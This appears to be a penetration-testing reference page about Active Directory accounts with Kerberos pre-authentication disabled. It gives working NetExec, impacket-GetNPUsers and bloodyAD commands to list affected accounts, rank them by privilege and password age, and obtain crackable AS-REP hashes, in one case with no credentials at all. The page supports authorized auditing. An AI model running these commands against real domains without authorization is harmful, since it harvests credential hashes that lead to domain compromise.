# Kerberos Pre-Authentication Not Required

> Identifies accounts with DONT_REQUIRE_PREAUTH set, enabling AS-REP roasting attacks to capture and offline-crack Kerberos hashes without credentials.

- **URL:** https://hackindex.io/services/kerberos/vulnerability-discovery/kerberos-pre-auth-not-required
- **Path:** Kerberos > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/kerberos/vulnerability-discovery.md)
- **Published:** 2026-05-15
- **Updated:** 2026-05-15

Accounts with `DONT_REQ_PREAUTH` set in `userAccountControl` will respond to an AS-REQ from any host without verifying the requestor's identity first. The KDC returns an AS-REP containing a blob encrypted with the account's password hash: no credentials required to obtain it. That blob is crackable offline.

The finding is the account configuration itself. Extraction and cracking are covered in [AS-REP Roasting](https://hackindex.io/services/kerberos/exploitation/asrep-roasting).

Detection methods for pre-auth disabled accounts:

- LDAP filter on `userAccountControl` bit 23 (4194304)
- impacket-GetNPUsers with `-usersfile` against port 88
- BloodHound query for DONT_REQ_PREAUTH flag

## **Detecting affected accounts**

Identify all enabled accounts with `DONT_REQ_PREAUTH` set. The LDAP filter checks bit 23 of `userAccountControl` (decimal 4194304) while excluding disabled accounts (bit 1, decimal 2).

```bash
nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --asreproast /dev/null
```

This extracts hashes but the output header lines identify the affected accounts: pipe to grep if you only want the usernames, not the hash material.

For a clean account list without requesting hash material:

```bash
impacket-GetNPUsers "$DOMAIN/$USER:$PASSWORD" -dc-ip $TARGET_IP
```

Without `-request`, this lists accounts that have pre-auth disabled without pulling the actual AS-REP blobs.

Direct LDAP query via bloodyAD:

```bash
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --host $TARGET_IP get search \
  --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' \
  --attr sAMAccountName userAccountControl memberOf pwdLastSet
```

Pull `memberOf` and `pwdLastSet` alongside the account name. Both change the severity assessment.

## **Assessing severity**

Not all pre-auth disabled accounts represent equal risk. The impact depends on what the account can do and how likely the password is to crack.

Check group membership for each affected account:

```bash
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --host $TARGET_IP get object "$TARGET_USER" --attr memberOf
```

Accounts in Domain Admins, Enterprise Admins, Account Operators, or any tier-0 group are critical findings: a cracked password is immediate domain compromise. Accounts with no privileged membership are still a finding because cracked credentials give a foothold or lateral movement path.

Check password age:

```bash
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --host $TARGET_IP get object "$TARGET_USER" --attr pwdLastSet
```

`pwdLastSet` value of 0 means the password has never been changed since account creation: extremely likely to crack. A value several years old is also high risk.

## **Without credentials**

If the domain allows unauthenticated LDAP bind, or if you have a username list from prior enumeration, pre-auth disabled accounts can be identified and hashed without any domain credentials. This is the most dangerous configuration variant.

```bash
impacket-GetNPUsers "$DOMAIN/" -no-pass -usersfile users.txt -dc-ip $TARGET_IP -format hashcat
```

Accounts that return a hash are confirmed pre-auth disabled. The hash is obtained with zero authentication: document this path separately, as it means the attack requires no prior access.

## **What this enables**

A pre-auth disabled account on a domain-joined network means any machine with KDC reachability can request crackable material for that account. Cracked credentials give authenticated domain access.

For cracking and post-crack paths, see [AS-REP Roasting](https://hackindex.io/services/kerberos/exploitation/asrep-roasting) and [AD AS-REP Roasting](https://hackindex.io/platforms/active-directory/exploitation/as-rep-roasting).

## References

- [Impacket](https://github.com/fortra/impacket) - GetNPUsers pre-auth disabled account listing and hash extraction
- [NetExec ASREPRoast](https://www.netexec.wiki/ldap-protocol/asreproast) - asreproast behavior and output format
- [BloodyAD](https://github.com/CravateRouge/bloodyAD) - LDAP filter for DONT_REQ_PREAUTH userAccountControl bit